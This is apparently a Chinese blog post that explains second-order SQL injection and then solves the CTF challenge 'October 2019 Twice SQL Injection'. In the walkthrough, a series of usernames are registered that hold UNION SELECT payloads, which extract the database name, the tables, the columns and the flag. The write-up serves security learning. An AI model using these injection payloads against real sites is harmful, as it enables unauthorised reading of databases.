October 2019 Twice SQL Injection

October 2019 Twice SQL Injection

二次注入的原理:

在第一次进行数据库插入数据的时候,使用了 addslashes 、get_magic_quotes_gpc、mysql_escape_string、mysql_real_escape_string等函数对其中的特殊字符进行了转义,但是addslashes有一个特点就是虽然参数在过滤后会添加 “\” 进行转义,但是“\”并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。
比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。

解题:

先随便注册一个号,进行登录

输入sql语句查看过滤情况,发现没有过滤,但是单引号用\转义了:

image-20230624210838275

我们可以通过注册恶意用户名来登录,获取数据库内容

注册用户名为:1' union select database() #,密码为123的用户,进行登录

image-20230624211240818

发现爆出了数据库:ctftraining

注册用户名为:1' union select group_concat(table_name) from information_schema.tables where database()=table_schema#,密码为123的用户,进行登录,爆出表名

image-20230624211420255

注册用户名为:1' union select group_concat(column_name) from information_schema.columns where table_name="flag"#,密码为123的用户,进行登录,爆出字段名

注册用户名为:1' union select group_concat(flag) from flag#,密码为123的用户,进行登录,爆出flag字段值

image-20230624211724708

posted @ 2023-06-24 21:20  Magic水瓶  阅读(321)  评论(0)    收藏  举报